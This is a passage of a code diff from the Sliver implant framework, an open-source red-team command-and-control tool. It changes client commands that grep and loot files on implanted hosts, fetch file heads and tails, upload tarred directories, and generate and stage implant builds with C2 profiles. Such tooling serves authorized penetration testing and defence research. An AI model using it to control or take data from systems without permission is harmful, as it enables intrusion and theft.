flags = append(flags, "exact match")
}
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
flags = append(flags, "case insensitive search")
}
// Add a header to the looted grep results to indicate what the pattern was and what was searched
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
if len(flags) > 0 {
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
}
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
if len(binaryFilesMatched) > 0 {
grepResultsString += "\nThe following binary files contained one or more matches:\n"
grepResultsString += strings.Join(binaryFilesMatched, "\n")
}
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
}
}
// grepLineResult - Add color or formatting for results for console output
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
var result string = ""
var matchOutput func(a ...interface{}) string
var previousPositionEnd int32 = 0
if colorize {
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
} else if allowFormatting {
matchOutput = color.New(color.Bold).SprintFunc()
}
for idx, position := range positions {
if colorize || allowFormatting {
result += line[previousPositionEnd:position.Start]
result += matchOutput(line[position.Start:position.End])
if idx == len(positions)-1 {
result += line[position.End:]
} else {
previousPositionEnd = position.End
}
} else {
result = line
}
}
return result
}
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
var resultOutput []string
var numberOfResults = 0
binaryFilesMatched := []string{}
for fileName, result := range results {
if result.IsBinary {
if len(result.FileResults) > 0 {
binaryFilesMatched = append(binaryFilesMatched, fileName)
}
}
for _, lineResult := range result.FileResults {
line := lineResult.Line
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
if len(lineResult.LinesBefore) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
}
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
if len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
}
resultOutput = append(resultOutput, "\n")
} else {
if lineResult.LineNumber == -1 {
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
} else {
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
}
}
numberOfResults += 1
}
}
return resultOutput, numberOfResults, binaryFilesMatched
}
+127
View File
@@ -0,0 +1,127 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var filePath string
var fetchBytes bool
var fetchSize int64
var operationName string
var download *sliverpb.Download
var err error
if len(args) > 0 {
filePath = args[0]
}
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
if cmd.Flags().Changed("bytes") {
fetchBytes = true
fetchSize, _ = cmd.Flags().GetInt64("bytes")
if fetchSize < 0 {
// Cannot fetch a negative number of bytes
con.PrintErrorf("The number of bytes specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "byte"
} else {
operationName = "bytes"
}
} else if cmd.Flags().Changed("lines") {
fetchBytes = false
fetchSize, _ = cmd.Flags().GetInt64("lines")
if fetchSize < 0 {
// Cannot fetch a negative number of lines
con.PrintErrorf("The number of lines specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "line"
} else {
operationName = "lines"
}
} else {
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
// A tail is a negative head
if !head {
fetchSize *= -1
}
if fetchBytes {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxBytes: fetchSize,
RestrictedToFile: true,
})
} else {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxLines: fetchSize,
RestrictedToFile: true,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, cmd, con)
}
}
+4 -1
View File
@@ -43,7 +43,10 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
}
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
if err != nil {
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
return
}
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
Request: con.ActiveTarget.Request(cmd),
Fd: fdInt,
+356 -20
View File
@@ -19,34 +19,277 @@ package filesystem
*/
import (
"archive/tar"
"bytes"
"context"
"errors"
"fmt"
"io/ioutil"
"io"
"io/fs"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
)
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func standarizeArchiveFileName(path string, uploadPathSpecified string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
var standardUploadPath string = strings.ReplaceAll(uploadPathSpecified, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
beginningOfUploadPath, _, _ := strings.Cut(standardUploadPath, "/")
if index := strings.Index(standardFilePath, beginningOfUploadPath); index != -1 {
// Add a / in front to make the specified upload path the root
standardFilePath = "/" + standardFilePath[index:]
}
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func tarDirectory(sourcePath string, pathAsSpecified string, sourceFilter string, recurse bool, preserveDirStructure bool) ([]byte, int, int, error) {
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
var buffer bytes.Buffer
tarWriter := tar.NewWriter(&buffer)
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(sourcePath, "\\", "/")
directory, err := os.Open(sourcePath)
if err != nil {
return nil, readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return nil, readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if sourceFilter != "" {
match, err := matcher.Match(sourcePath+sourceFilter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(sourcePath, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if sourceFilter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := matcher.Match(testPath+sourceFilter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
var fileName string
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue
}
if preserveDirStructure {
fileName = standarizeArchiveFileName(file, pathAsSpecified)
} else {
fileName = fi.Name()
}
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
unreadableFiles += 1
continue
}
fi, err = os.Lstat(file)
if err != nil {
unreadableFiles += 1
continue
}
}
header, err := tar.FileInfoHeader(fi, file)
if err != nil {
unreadableFiles += 1
continue
}
// Keep the symlink file path for the header name.
header.Name = filepath.ToSlash(fileName)
// Check that we can open the file before we try to write it to the archive
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
// Skip this file and do not write it to the archive.
unreadableFiles += 1
continue
}
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
data.Close()
continue
}
if _, err := io.Copy(tarWriter, data); err != nil {
unreadableFiles += 1
data.Close()
continue
}
data.Close()
readFiles += 1
} else {
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
continue
}
}
}
if err := tarWriter.Close(); err != nil {
return buffer.Bytes(), readFiles, unreadableFiles, err
}
return buffer.Bytes(), readFiles, unreadableFiles, nil
}
// UploadCmd - Upload a file to the remote system
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
readFiles := 0
unreadableFiles := 0
var isDirectory bool
var fileName string
var sourceInfomation fs.FileInfo
var uploadData []byte
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ""
localPath := args[0]
remotePath := args[1]
// localPath := ctx.Args.String("local-path")
// remotePath := ctx.Args.String("remote-path")
if len(args) > 1 {
remotePath = args[1]
}
recurse, _ := cmd.Flags().GetBool("recurse")
preserve, _ := cmd.Flags().GetBool("preserve")
isIOC, _ := cmd.Flags().GetBool("ioc")
overwrite, _ := cmd.Flags().GetBool("overwrite")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -54,33 +297,110 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
}
src, _ := filepath.Abs(localPath)
_, err := os.Stat(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if remotePath == "" {
fileName := filepath.Base(src)
remotePath = fileName
}
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
// Get information on the source - is it a directory?
srcPath, srcFilter := determineDirPathFilter(src)
sourceInfomation, err := os.Stat(src)
if err == nil && sourceInfomation.IsDir() {
if !strings.HasSuffix(src, string(os.PathSeparator)) {
src += string(os.PathSeparator)
}
srcPath = src
srcFilter = ""
}
if err != nil {
con.PrintErrorf("%s\n", err)
if errors.Is(err, fs.ErrNotExist) {
// Check to see if src ends with a filter
sourceInfomation, err = os.Stat(srcPath)
if errors.Is(err, fs.ErrNotExist) {
con.PrintErrorf("The source %s does not exist.\n", src)
return
} else if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
// If we still do not have information about the source at this point, bail.
if sourceInfomation == nil {
con.PrintErrorf("Could not get information about the upload source %s\n", src)
return
}
uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
if sourceInfomation.IsDir() {
// tar the directory and send it over
uploadData, readFiles, unreadableFiles, err = tarDirectory(srcPath, localPath, srcFilter, recurse, preserve)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if readFiles == 0 {
con.PrintErrorf("Could not find any files matching %s\n", src)
return
}
isDirectory = true
fileName = ""
} else {
uploadData, err = os.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
readFiles = 1
unreadableFiles = 0
isDirectory = false
fileName = filepath.Base(src)
}
uploadGzip, _ := new(encoders.Gzip).Encode(uploadData)
var readFilesQualifier string
var unsuccessfulFiles string
if readFiles == 1 {
readFilesQualifier = ""
} else {
readFilesQualifier = "s"
}
if unreadableFiles > 0 {
if unreadableFiles == 1 {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d file)", unreadableFiles)
} else {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d files)", unreadableFiles)
}
} else {
unsuccessfulFiles = ""
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Uploading %d file%s %sfrom %s to %s", readFiles,
readFilesQualifier,
unsuccessfulFiles,
src,
dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
FileName: fileName,
IsDirectory: isDirectory,
Overwrite: overwrite,
})
ctrl <- true
<-ctrl
@@ -109,5 +429,21 @@ func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
writtenFileQualifier := "s"
if upload.WrittenFiles == 1 {
writtenFileQualifier = ""
}
unwrittenFileQualifier := "s"
if upload.UnwriteableFiles == 1 {
unwrittenFileQualifier = ""
}
if upload.WrittenFiles > 0 {
if upload.UnwriteableFiles > 0 {
con.PrintInfof("Wrote %d file%s successfully (%d file%s not written) to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
} else {
con.PrintInfof("Wrote %d file%s successfully to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.Path)
}
} else {
con.PrintInfof("Could not write %d file%s to %s: the files already exist on the target\n", upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
}
}
+2 -2
View File
@@ -18,7 +18,7 @@ var (
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
config := parseCompileFlags(cmd, con)
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -35,7 +35,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
} else {
externalBuild(config, save, con)
externalBuild(name, config, save, con)
}
}
+30 -25
View File
@@ -90,7 +90,7 @@ var (
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
config := parseCompileFlags(cmd, con)
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -101,7 +101,7 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
} else {
_, err := externalBuild(config, save, con)
_, err := externalBuild(name, config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
@@ -182,14 +182,14 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) {
var name string
if nameF, _ := cmd.Flags().GetString("name"); nameF != "" {
name = strings.ToLower(nameF)
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
return "", nil
}
}
@@ -199,7 +199,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
mtlsC2, err := ParseMTLSc2(mtlsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, mtlsC2...)
@@ -207,7 +207,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
wgC2, err := ParseWGc2(wgC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
wgKeyExchangePort, _ := cmd.Flags().GetUint32("key-exchange")
wgTcpCommsPort, _ := cmd.Flags().GetUint32("tcp-comms")
@@ -218,7 +218,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
httpC2, err := ParseHTTPc2(httpC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, httpC2...)
@@ -226,7 +226,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
dnsC2, err := ParseDNSc2(dnsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, dnsC2...)
@@ -234,7 +234,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
namedPipeC2, err := ParseNamedPipec2(namedPipeC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, namedPipeC2...)
@@ -242,7 +242,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
tcpPivotC2, err := ParseTCPPivotc2(tcpPivotC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, tcpPivotC2...)
@@ -256,7 +256,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return nil
return "", nil
}
rawCanaries, _ := cmd.Flags().GetString("canary")
@@ -320,20 +320,20 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
targetArch := strings.ToLower(targetArchF)
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return nil
return "", nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
return "", nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
return "", nil
}
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return nil
return "", nil
}
var tunIP net.IP
@@ -342,7 +342,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
tunIP = net.ParseIP(uniqueWGIP.IP)
if err != nil {
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
return nil
return "", nil
}
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
@@ -353,17 +353,21 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
connectionStrategy, _ := cmd.Flags().GetString("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
return "", nil
}
// Parse Traffic Encoder Args
httpC2Enabled := 0 < len(httpC2)
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(cmd, httpC2Enabled, con)
c2Profile, _ := cmd.Flags().GetString("c2profile")
if c2Profile == "" {
c2Profile = consts.DefaultC2Profile
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
Name: name,
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
@@ -398,10 +402,11 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
TrafficEncodersEnabled: trafficEncodersEnabled,
Assets: trafficEncoderAssets,
DebugFile: debugFile,
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
}
return config
return name, config
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
@@ -778,7 +783,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
@@ -818,6 +823,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Name: name,
Config: config,
BuilderName: externalBuilder.Name,
})
@@ -827,7 +833,6 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
@@ -845,13 +850,13 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
if parts[0] == externalImplantConfig.Build.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Config.ID {
if string(event.Data) == externalImplantConfig.Build.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
@@ -860,7 +865,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
if parts[0] == externalImplantConfig.Build.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
+33 -37
View File
@@ -14,46 +14,24 @@ import (
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
// get implant builds
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
implantName := buildImplantName(profile.GetConfig().GetFileName())
_, ok := builds.GetConfigs()[implantName]
if implantName == "" || !ok {
// no built implant found for profile, generate a new one
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
data = generated.GetFile().GetData()
profile.Config.FileName = generated.File.Name
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
} else {
// Found a build, reuse that one
con.PrintInfof("Sliver name for profile: %s\n", implantName)
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: implantName,
})
if err != nil {
return data, err
}
data = regenerate.GetFile().GetData()
data = generated.GetFile().GetData()
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
return data, err
}
@@ -135,6 +113,24 @@ func FormatCompleter() carapace.Action {
})
}
// HTTPC2Completer - Completes the HTTP C2 PROFILES
func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch HTTP C2 profiles: %s", err.Error())
}
var results []string
for _, profile := range httpC2Profiles.Configs {
results = append(results, profile.Name)
}
return carapace.ActionValues(results...).Tag("HTTP C2 Profiles")
})
}
// TrafficEncoderCompleter - Completes the names of traffic encoders
func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+39
View File
@@ -0,0 +1,39 @@
package generate
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// ImplantsStageCmd - Serve a previously generated build
func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Unable to load implant builds '%s'\n", err)
return
}
options := []string{}
for name, _ := range builds.Configs {
options = append(options, name)
}
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons to expose:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
if err != nil {
con.PrintErrorf("Failed to serve implant %s\n", err)
return
}
}
+17 -5
View File
@@ -53,14 +53,14 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
implantBuildFilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
PrintImplantBuilds(builds, implantBuildFilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -71,12 +71,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
"Format",
"Command & Control",
"Debug",
"C2 Config",
"ID",
"Stage",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for sliverName, config := range configs {
for sliverName, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
@@ -97,9 +100,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
continue
}
implantType := "session"
implantType := ""
if builds.ResourceIDs[sliverName].Type != "" {
implantType = builds.ResourceIDs[sliverName].Type
}
if config.IsBeacon {
implantType = "beacon"
implantType += "beacon"
} else {
implantType += "session"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
@@ -116,6 +125,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf(config.HTTPC2ConfigName),
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
fmt.Sprintf("%v", builds.Staged[sliverName]),
})
}
+1 -8
View File
@@ -19,7 +19,6 @@ package generate
*/
import (
"context"
"os"
"path/filepath"
"strings"
@@ -50,16 +49,10 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
